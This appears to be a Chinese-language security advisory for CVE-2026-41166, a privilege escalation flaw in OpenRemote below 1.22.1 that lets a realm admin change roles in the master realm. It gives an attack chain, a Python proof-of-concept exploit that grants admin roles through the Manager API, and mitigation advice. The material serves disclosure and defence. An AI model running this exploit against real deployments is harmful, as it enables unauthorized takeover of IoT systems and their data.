IPBUF安全漏洞报告
English
CVE-2026-41166 CVSS 7.0 高危

CVE-2026-41166 OpenRemote权限提升漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-41166
漏洞类型
权限提升
CVSS评分
7.0 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenRemote

相关标签

权限提升OpenRemote越权漏洞CVE-2026-41166IoT安全

漏洞概述

OpenRemote是一个开源物联网平台。在1.22.1版本之前,系统存在严重的权限验证缺陷。具备特定领域`write:admin`权限的用户,可利用Manager API跨域修改其他Keycloak领域(包括`master`主控域)的用户角色。漏洞原因为处理程序仅依赖路径中的`{realm}`参数进行操作,未校验调用者对目标域的管理权限。攻击者可利用此漏洞将自己提升为`master`域管理员,进而完全控制系统。官方已在1.22.1版本中修复此问题。

技术细节

该漏洞属于典型的越权访问漏洞。OpenRemote使用Keycloak作为身份提供商,但在Manager API的实现中,未能正确实现跨Realm的权限隔离。具体来说,当API处理更新用户角色的请求时,它直接从URL路径中提取`{realm}`参数,并以此作为目标操作域,而未在代码逻辑中验证当前发起请求的用户是否拥有该目标Realm的管理权限。攻击者只需在任何一个Realm中拥有`write:admin`权限,即可通过构造特制的API请求,将目标Realm指定为`master`。由于系统缺乏校验,攻击者可以成功修改`master`域中用户的角色分配,从而将自己提升为系统最高权限管理员,获取完全的控制权。

攻击链分析

STEP 1
侦察
识别目标OpenRemote平台,并确认其版本低于1.22.1。
STEP 2
获取初始凭证
注册或获取一个在任意Keycloak Realm(非master)中拥有`write:admin`权限的用户账号及API Token。
STEP 3
漏洞利用
使用获取的Token,构造向Manager API发送的请求,将URL路径中的`{realm}`参数指定为`master`,并修改目标用户角色。
STEP 4
权限提升
成功将受控用户添加到`master`域的管理员组,获得系统最高权限。
STEP 5
维持控制
利用`master`管理员权限完全控制IoT设备、管理其他用户及访问敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_host = "https://<target-openremote-host>" attacker_token = "<attacker_access_token>" # Token with write:admin in ANY realm # The ID of the user in the 'master' realm to escalate (e.g., attacker's user ID) master_user_id = "<target_user_id_in_master_realm>" # Vulnerable Endpoint: Updating roles in the 'master' realm # The vulnerability allows specifying 'master' in the path even if the token is for another realm url = f"{target_host}/api/master/users/{master_user_id}/roles/clients/<client_id>" headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Payload to assign administrative role payload = { "roles": ["admin", "realm-management"] } try: response = requests.post(url, json=payload, headers=headers, verify=False) if response.status_code == 204: print("[+] Exploit successful! Privileges escalated in master realm.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

影响范围

OpenRemote < 1.22.1

防御指南

临时缓解措施
如果无法立即升级,建议管理员严格审查所有Keycloak域中的用户权限,撤销非必要人员的`write:admin`权限。同时,建议在API网关层面增加针对`{realm}`参数的校验逻辑,禁止跨域操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表